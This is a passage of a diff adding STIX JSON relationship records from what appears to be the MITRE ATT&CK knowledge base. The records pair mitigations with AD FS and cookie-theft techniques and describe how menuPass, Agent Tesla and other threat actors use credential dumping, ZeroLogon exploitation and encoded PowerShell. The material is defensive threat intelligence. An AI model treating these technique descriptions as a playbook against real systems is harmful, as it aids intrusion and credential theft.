Suspicious accounts/credentials should be investigated and removed.\n \nEnable advanced auditing on ADFS. Check the success and failure audit options in the ADFS Management snap-in. Enable Audit Application Generated events on the AD FS farm via Group Policy Object.(Citation: FireEye ADFS)", + "id": "relationship--da4b552e-fae2-42ef-ac2f-9b61e6ff365a", + "external_references": [ + { + "source_name": "FireEye ADFS", + "url": "https://www.troopers.de/troopers19/agenda/fpxwmn/", + "description": "Bierstock, D., Baker, A. (2019, March 21). I am AD FS and So Can You. Retrieved December 17, 2020." + } + ], + "type": "relationship", + "modified": "2021-04-14T14:28:48.130Z", + "created": "2020-12-17T02:27:05.186Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067", + "target_ref": "attack-pattern--94cb00a4-b295-4d06-aa2b-5653b9c1be9c", + "relationship_type": "mitigates", + "description": "Configure browsers/applications to regularly delete persistent web credentials (such as cookies).", + "id": "relationship--ce647878-e4d9-4472-9777-b731edbd3d9a", + "type": "relationship", + "modified": "2021-04-14T14:28:48.132Z", + "created": "2020-12-17T02:27:05.197Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", + "target_ref": "attack-pattern--861b8fd2-57f3-4ee1-ab5d-c19c3b8c7a4a", + "relationship_type": "mitigates", + "description": "Administrators should perform an audit of all access lists and the permissions they have been granted to access web applications and services. This should be done extensively on all resources in order to establish a baseline, followed up on with periodic audits of new or updated resources. Suspicious accounts/credentials should be investigated and removed.", + "id": "relationship--5208729f-fc13-477a-984b-1035c581ad02", + "type": "relationship", + "modified": "2021-01-11T20:31:36.571Z", + "created": "2020-12-17T02:28:43.309Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067", + "target_ref": "attack-pattern--861b8fd2-57f3-4ee1-ab5d-c19c3b8c7a4a", + "relationship_type": "mitigates", + "description": "Configure browsers/applications to regularly delete persistent web cookies.", + "id": "relationship--db2c5201-2ced-482d-913b-8dee1499441a", + "type": "relationship", + "modified": "2021-01-11T20:31:36.583Z", + "created": "2020-12-17T02:28:43.313Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "target_ref": "attack-pattern--1f9c2bae-b441-4f66-a8af-b65946ee72f2", + "relationship_type": "mitigates", + "description": "Restrict permissions and access to the AD FS server to only originate from privileged access workstations.(Citation: FireEye ADFS)", + "id": "relationship--b51d04ec-51da-4017-b806-210429592565", + "external_references": [ + { + "source_name": "FireEye ADFS", + "url": "https://www.troopers.de/troopers19/agenda/fpxwmn/", + "description": "Bierstock, D., Baker, A. (2019, March 21). I am AD FS and So Can You. Retrieved December 17, 2020." + } + ], + "type": "relationship", + "modified": "2021-04-14T14:29:27.474Z", + "created": "2020-12-17T15:24:12.401Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "target_ref": "attack-pattern--1f9c2bae-b441-4f66-a8af-b65946ee72f2", + "relationship_type": "mitigates", + "description": "Ensure that user accounts with administrative rights follow best practices, including use of privileged access workstations, Just in Time/Just Enough Administration (JIT/JEA), and strong authentication. Reduce the number of users that are members of highly privileged Directory Roles.(Citation: Microsoft SolarWinds Customer Guidance)", + "id": "relationship--9cf6e55f-3014-4292-a393-9418c6e6b4a1", + "external_references": [ + { + "source_name": "Microsoft SolarWinds Customer Guidance", + "url": "https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/", + "description": "MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 17, 2020." + } + ], + "type": "relationship", + "modified": "2021-04-14T14:29:27.491Z", + "created": "2020-12-17T15:24:12.399Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", + "target_ref": "attack-pattern--1f9c2bae-b441-4f66-a8af-b65946ee72f2", + "relationship_type": "mitigates", + "description": "Enable advanced auditing on AD FS. Check the success and failure audit options in the AD FS Management snap-in. Enable Audit Application Generated events on the AD FS farm via Group Policy Object.(Citation: FireEye ADFS)", + "id": "relationship--8a716922-181e-409c-b112-851e7f172d7c", + "external_references": [ + { + "source_name": "FireEye ADFS", + "url": "https://www.troopers.de/troopers19/agenda/fpxwmn/", + "description": "Bierstock, D., Baker, A. (2019, March 21). I am AD FS and So Can You. Retrieved December 17, 2020." + } + ], + "type": "relationship", + "modified": "2021-04-14T14:29:27.502Z", + "created": "2020-12-17T15:24:12.407Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "attack-pattern--1f9c2bae-b441-4f66-a8af-b65946ee72f2", + "target_ref": "attack-pattern--94cb00a4-b295-4d06-aa2b-5653b9c1be9c", + "relationship_type": "subtechnique-of", + "id": "relationship--847b5ffb-77a2-4892-9e96-2b454a2c3f22", + "type": "relationship", + "modified": "2020-12-17T15:24:12.424Z", + "created": "2020-12-17T15:24:12.424Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "target_ref": "attack-pattern--94cb00a4-b295-4d06-aa2b-5653b9c1be9c", + "relationship_type": "mitigates", + "description": "Restrict permissions and access to the AD FS server to only originate from privileged access workstations.(Citation: FireEye ADFS)", + "id": "relationship--673afcb8-2fb0-4c17-9f91-8fb409943531", + "external_references": [ + { + "source_name": "FireEye ADFS", + "url": "https://www.troopers.de/troopers19/agenda/fpxwmn/", + "description": "Bierstock, D., Baker, A. (2019, March 21). I am AD FS and So Can You. Retrieved December 17, 2020." + } + ], + "type": "relationship", + "modified": "2021-04-14T14:28:48.155Z", + "created": "2020-12-17T15:41:29.423Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "target_ref": "attack-pattern--94cb00a4-b295-4d06-aa2b-5653b9c1be9c", + "relationship_type": "mitigates", + "description": "Ensure that user accounts with administrative rights follow best practices, including use of privileged access workstations, Just in Time/Just Enough Administration (JIT/JEA), and strong authentication. Reduce the number of users that are members of highly privileged Directory Roles.(Citation: Microsoft SolarWinds Customer Guidance)", + "id": "relationship--f2d946f4-04fe-4b56-8152-80644b6b22d5", + "external_references": [ + { + "source_name": "Microsoft SolarWinds Customer Guidance", + "url": "https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/", + "description": "MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 17, 2020." + } + ], + "type": "relationship", + "modified": "2021-04-14T14:28:48.157Z", + "created": "2020-12-17T15:41:29.427Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619", + "external_references": [ + { + "source_name": "Symantec Cicada November 2020", + "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-japan-espionage", + "description": "Symantec. (2020, November 17). Japan-Linked Organizations Targeted in Long-Running and Sophisticated Attack Campaign. Retrieved December 17, 2020." + } + ], + "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used the Csvde tool to collect Active Directory files and data.(Citation: Symantec Cicada November 2020)", + "relationship_type": "uses", + "id": "relationship--f2f93fbb-2164-4de7-9d0b-24ad93caf7f2", + "type": "relationship", + "modified": "2020-12-28T15:29:54.586Z", + "created": "2020-12-17T16:16:08.548Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "target_ref": "attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82", + "external_references": [ + { + "source_name": "Symantec Cicada November 2020", + "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-japan-espionage", + "description": "Symantec. (2020, November 17). Japan-Linked Organizations Targeted in Long-Running and Sophisticated Attack Campaign. Retrieved December 17, 2020." + } + ], + "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used tools to exploit the ZeroLogon vulnerability (CVE-2020-1472).(Citation: Symantec Cicada November 2020)", + "relationship_type": "uses", + "id": "relationship--e31ca67c-1662-4d27-b349-44f3dda2a872", + "type": "relationship", + "modified": "2020-12-29T16:51:25.563Z", + "created": "2020-12-17T16:16:08.594Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8", + "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597", + "external_references": [ + { + "source_name": "Bitdefender Agent Tesla April 2020", + "url": "https://labs.bitdefender.com/2020/04/oil-gas-spearphishing-campaigns-drop-agent-tesla-spyware-in-advance-of-historic-opec-deal/", + "description": "Arsene, L. (2020, April 21). Oil & Gas Spearphishing Campaigns Drop Agent Tesla Spyware in Advance of Historic OPEC+ Deal. Retrieved May 19, 2020." + } + ], + "description": "The primary delivered mechaism for [Agent Tesla](https://attack.mitre.org/software/S0331) is through email phishing messages.(Citation: Bitdefender Agent Tesla April 2020) ", + "relationship_type": "uses", + "id": "relationship--06f7f9cd-4e6b-4abe-bff0-c9c0fcaf920e", + "type": "relationship", + "modified": "2021-04-21T02:04:30.524Z", + "created": "2020-12-17T16:56:47.246Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8", + "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8", + "external_references": [ + { + "source_name": "Bitdefender Agent Tesla April 2020", + "url": "https://labs.bitdefender.com/2020/04/oil-gas-spearphishing-campaigns-drop-agent-tesla-spyware-in-advance-of-historic-opec-deal/", + "description": "Arsene, L. (2020, April 21). Oil & Gas Spearphishing Campaigns Drop Agent Tesla Spyware in Advance of Historic OPEC+ Deal. Retrieved May 19, 2020." + } + ], + "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) can gather credentials from a number of browsers.(Citation: Bitdefender Agent Tesla April 2020) ", + "relationship_type": "uses", + "id": "relationship--47173be4-dc15-49c6-9e81-cba36c6e6c68", + "type": "relationship", + "modified": "2020-12-17T16:56:47.265Z", + "created": "2020-12-17T16:56:47.265Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", + "external_references": [ + { + "source_name": "Bitdefender Agent Tesla April 2020", + "url": "https://labs.bitdefender.com/2020/04/oil-gas-spearphishing-campaigns-drop-agent-tesla-spyware-in-advance-of-historic-opec-deal/", + "description": "Arsene, L. (2020, April 21). Oil & Gas Spearphishing Campaigns Drop Agent Tesla Spyware in Advance of Historic OPEC+ Deal. Retrieved May 19, 2020." + } + ], + "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) has used wmi queries to gather information from the system.(Citation: Bitdefender Agent Tesla April 2020) ", + "relationship_type": "uses", + "id": "relationship--1bce55fa-b34e-4522-9422-85bf3fdda889", + "type": "relationship", + "modified": "2020-12-17T16:56:47.267Z", + "created": "2020-12-17T16:56:47.267Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", + "external_references": [ + { + "source_name": "SentinelLabs Agent Tesla Aug 2020", + "url": "https://labs.sentinelone.com/agent-tesla-old-rat-uses-new-tricks-to-stay-on-top/", + "description": "Walter, J. (2020, August 10). Agent Tesla | Old RAT Uses New Tricks to Stay on Top. Retrieved December 11, 2020." + } + ], + "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) can achieve persistence by modifying Registry key entries.(Citation: SentinelLabs Agent Tesla Aug 2020) ", + "relationship_type": "uses", + "id": "relationship--d9cd513e-c863-4695-a6e0-b2e4e79c24e8", + "type": "relationship", + "modified": "2020-12-17T17:23:08.124Z", + "created": "2020-12-17T17:23:08.124Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "external_references": [ + { + "source_name": "SentinelLabs Agent Tesla Aug 2020", + "url": "https://labs.sentinelone.com/agent-tesla-old-rat-uses-new-tricks-to-stay-on-top/", + "description": "Walter, J. (2020, August 10). Agent Tesla | Old RAT Uses New Tricks to Stay on Top. Retrieved December 11, 2020." + } + ], + "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) can inject into known, vulnerable binaries on targeted hosts.(Citation: SentinelLabs Agent Tesla Aug 2020) ", + "relationship_type": "uses", + "id": "relationship--0432482e-344c-4be3-9a70-5391cf41a935", + "type": "relationship", + "modified": "2020-12-17T18:16:05.012Z", + "created": "2020-12-17T18:16:05.012Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "target_ref": "attack-pattern--edf91964-b26e-4b4a-9600-ccacd7d7df24", + "external_references": [ + { + "source_name": "Symantec Cicada November 2020", + "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-japan-espionage", + "description": "Symantec. (2020, November 17). Japan-Linked Organizations Targeted in Long-Running and Sophisticated Attack Campaign. Retrieved December 17, 2020." + } + ], + "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used Ntdsutil to dump credentials.(Citation: Symantec Cicada November 2020)", + "relationship_type": "uses", + "id": "relationship--5ffaf9bf-10a0-477f-88ff-5b9e7d5831cc", + "type": "relationship", + "modified": "2020-12-17T18:57:21.258Z", + "created": "2020-12-17T18:57:21.258Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", + "external_references": [ + { + "source_name": "Symantec Cicada November 2020", + "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-japan-espionage", + "description": "Symantec. (2020, November 17). Japan-Linked Organizations Targeted in Long-Running and Sophisticated Attack Campaign. Retrieved December 17, 2020." + } + ], + "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used native APIs including GetModuleFileName, lstrcat, CreateFile, and ReadFile.(Citation: Symantec Cicada November 2020)", + "relationship_type": "uses", + "id": "relationship--7b59aa8f-d9d6-4bb5-b2ca-6fc1d36c1550", + "type": "relationship", + "modified": "2020-12-29T16:51:25.615Z", + "created": "2020-12-17T19:40:29.547Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "external_references": [ + { + "source_name": "Symantec Cicada November 2020", + "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-japan-espionage", + "description": "Symantec. (2020, November 17). Japan-Linked Organizations Targeted in Long-Running and Sophisticated Attack Campaign. Retrieved December 17, 2020." + } + ], + "description": "[menuPass](https://attack.mitre.org/groups/G0045) has searched compromised systems for folders of interest including those related to HR, audit and expense, and meeting memos.(Citation: Symantec Cicada November 2020)", + "relationship_type": "uses", + "id": "relationship--ca295c89-bee0-4702-b0e1-61416023bacb", + "type": "relationship", + "modified": "2020-12-17T19:43:08.197Z", + "created": "2020-12-17T19:43:08.197Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "target_ref": "attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3", + "external_references": [ + { + "source_name": "DOJ APT10 Dec 2018", + "url": "https://www.justice.gov/opa/pr/two-chinese-hackers-associated-ministry-state-security-charged-global-computer-intrusion", + "description": "United States District Court Southern District of New York (USDC SDNY) . (2018, December 17). United States of America v. Zhu Hua and Zhang Shilong. Retrieved April 17, 2019." + }, + { + "source_name": "District Court of NY APT10 Indictment December 2018", + "url": "https://www.justice.gov/opa/page/file/1122671/download", + "description": "US District Court Southern District of New York. (2018, December 17). United States v. Zhu Hua Indictment. Retrieved December 17, 2020." + } + ], + "description": "[menuPass](https://attack.mitre.org/groups/G0045) has registered malicious domains for use in intrusion campaigns.(Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY APT10 Indictment December 2018)", + "relationship_type": "uses", + "id": "relationship--f34e5f17-c0ac-4f1b-b45b-e6076e69721a", + "type": "relationship", + "modified": "2020-12-28T15:33:58.586Z", + "created": "2020-12-17T19:47:24.727Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "target_ref": "attack-pattern--29ba5a15-3b7b-4732-b817-65ea8f6468e6", + "external_references": [ + { + "source_name": "District Court of NY APT10 Indictment December 2018", + "url": "https://www.justice.gov/opa/page/file/1122671/download", + "description": "US District Court Southern District of New York. (2018, December 17). United States v. Zhu Hua Indictment. Retrieved December 17, 2020." + } + ], + "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used dynamic DNS service providers to host malicious domains.(Citation: District Court of NY APT10 Indictment December 2018)", + "relationship_type": "uses", + "id": "relationship--50b623c1-828f-4a2b-bb9e-38600b071563", + "type": "relationship", + "modified": "2020-12-28T15:35:41.915Z", + "created": "2020-12-17T20:02:13.991Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "attack-pattern--22522668-ddf6-470b-a027-9d6866679f67", + "target_ref": "attack-pattern--1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf", + "relationship_type": "subtechnique-of", + "id": "relationship--bb611cd0-6646-4090-82ea-96ca4440afb7", + "type": "relationship", + "modified": "2020-12-18T16:33:13.341Z", + "created": "2020-12-18T16:33:13.341Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--c77c5576-ca19-42ed-a36f-4b4486a84133", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "external_references": [ + { + "source_name": "Tetra Defense Sodinokibi March 2020", + "url": "https://www.tetradefense.com/incident-response-services/cause-and-effect-sodinokibi-ransomware-analysis", + "description": "Tetra Defense. (2020, March). CAUSE AND EFFECT: SODINOKIBI RANSOMWARE ANALYSIS. Retrieved December 14, 2020." + } + ], + "description": "[GOLD SOUTHFIELD](https://attack.mitre.org/groups/G0115) has used the remote monitoring and management tool ConnectWise to obtain screen captures from victim's machines.(Citation: Tetra Defense Sodinokibi March 2020)", + "relationship_type": "uses", + "id": "relationship--513f6b4c-c9b1-4339-910e-376b2a908689", + "type": "relationship", + "modified": "2020-12-18T16:48:32.674Z", + "created": "2020-12-18T16:48:32.674Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--c77c5576-ca19-42ed-a36f-4b4486a84133", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "external_references": [ + { + "source_name": "Tetra Defense Sodinokibi March 2020", + "url": "https://www.tetradefense.com/incident-response-services/cause-and-effect-sodinokibi-ransomware-analysis", + "description": "Tetra Defense. (2020, March). CAUSE AND EFFECT: SODINOKIBI RANSOMWARE ANALYSIS. Retrieved December 14, 2020." + } + ], + "description": "[GOLD SOUTHFIELD](https://attack.mitre.org/groups/G0115) has executed base64 encoded PowerShell scripts on compromised hosts.(Citation: Tetra Defense Sodinokibi March 2020)", + "relationship_type": "uses", + "id": "relationship--ba7fad22-26af-43f1-a120-6a4d4269d9ab", + "type": "relationship", + "modified": "2020-12-18T16:54:50.273Z", + "created": "2020-12-18T16:54:50.273Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--c77c5576-ca19-42ed-a36f-4b4486a84133", + "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", + "external_references": [ + { + "source_name": "Tetra Defense Sodinokibi March 2020", + "url": "https://www.tetradefense.com/incident-response-services/cause-and-effect-sodinokibi-ransomware-analysis", + "description": "Tetra Defense. (2020, March). CAUSE AND EFFECT: SODINOKIBI RANSOMWARE ANALYSIS. Retrieved December 14, 2020." + } + ], + "description": "[GOLD SOUTHFIELD](https://attack.mitre.org/groups/G0115) has staged and executed PowerShell scripts on compromised hosts.(Citation: Tetra Defense Sodinokibi March 2020)", + "relationship_type": "uses", + "id": "relationship--deec4c70-b8b5-420b-bdc7-88badae84456", + "type": "relationship", + "modified": "2020-12-18T16:54:50.285Z", + "created": "2020-12-18T16:54:50.285Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--b42378e0-f147-496f-992a-26a49705395b", + "target_ref": "attack-pattern--22522668-ddf6-470b-a027-9d6866679f67", + "external_references": [ + { + "source_name": "Microsoft PoisonIvy 2017", + "url": "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Backdoor%3aWin32%2fPoisonivy.E", + "description": "McCormack, M. (2017, September 15). Backdoor:Win32/Poisonivy.E. Retrieved December 21, 2020." + }, + { + "source_name": "paloalto Tropic Trooper 2016", + "url": "https://unit42.paloaltonetworks.com/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/", + "description": "Ray, V., et al. (2016, November 22). Tropic Trooper Targets Taiwanese Government and Fossil Fuel Provider With Poison Ivy. Retrieved December 18, 2020." + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2017/02/spear_phishing_techn.html", + "description": "Anubhav, A., Kizhakkinan, D. (2017, February 22). Spear Phishing Techniques Used in Attacks Targeting the Mongolian Government. Retrieved February 24, 2017.", + "source_name": "FireEye Regsvr32 Targeting Mongolian Gov" + } + ], + "description": "[PoisonIvy](https://attack.mitre.org/software/S0012) creates a Registry key in the Active Setup pointing to a malicious executable.(Citation: Microsoft PoisonIvy 2017)(Citation: paloalto Tropic Trooper 2016)(Citation: FireEye Regsvr32 Targeting Mongolian Gov)", + "relationship_type": "uses", + "id": "relationship--64b25323-3b00-404f-afaa-cf1808ac5743", + "type": "relationship", + "modified": "2020-12-21T13:37:24.338Z", + "created": "2020-12-21T13:32:12.798Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", + "target_ref": "malware--071d5d65-83ec-4a55-acfa-be7d5f28ba9a", + "external_references": [ + { + "source_name": "Crowdstrike GTR2020 Mar 2020", + "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "description": "Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020." + } + ], + "description": "(Citation: Crowdstrike GTR2020 Mar 2020)", + "relationship_type": "uses", + "id": "relationship--926523b2-beb0-46e0-a610-c2948ea7bc66", + "type": "relationship", + "modified": "2020-12-21T19:08:35.357Z", + "created": "2020-12-21T19:08:35.357Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--0ba9281c-93fa-4b29-8e9e-7ef918c7b13a", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "external_references": [ + { + "source_name": "Cybereason Molerats Dec 2020", + "url": "https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf", + "description": "Cybereason Nocturnus Team. (2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020." + }, + { + "source_name": "BleepingComputer Molerats Dec 2020", + "url": "https://www.bleepingcomputer.com/news/security/hacking-group-s-new-malware-abuses-google-and-facebook-services/", + "description": "Ilascu, I. (2020, December 14). Hacking group\u2019s new malware abuses Google and Facebook services. Retrieved December 28, 2020." + } + ], + "description": "[SharpStage](https://attack.mitre.org/software/S0546) has the ability to capture the victim's screen.(Citation: Cybereason Molerats Dec 2020)(Citation: BleepingComputer Molerats Dec 2020)", + "relationship_type": "uses", + "id": "relationship--45060bf9-f01b-48a2-8a03-082ad7e7945f", + "type": "relationship", + "modified": "2020-12-28T21:12:01.801Z", + "created": "2020-12-22T17:02:53.289Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--0ba9281c-93fa-4b29-8e9e-7ef918c7b13a", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", + "external_references": [ + { + "source_name": "Cybereason Molerats Dec 2020", + "url": "https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf", + "description": "Cybereason Nocturnus Team. (2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020." + }, + { + "source_name": "BleepingComputer Molerats Dec 2020", + "url": "https://www.bleepingcomputer.com/news/security/hacking-group-s-new-malware-abuses-google-and-facebook-services/", + "description": "Ilascu, I. (2020, December 14). Hacking group\u2019s new malware abuses Google and Facebook services. Retrieved December 28, 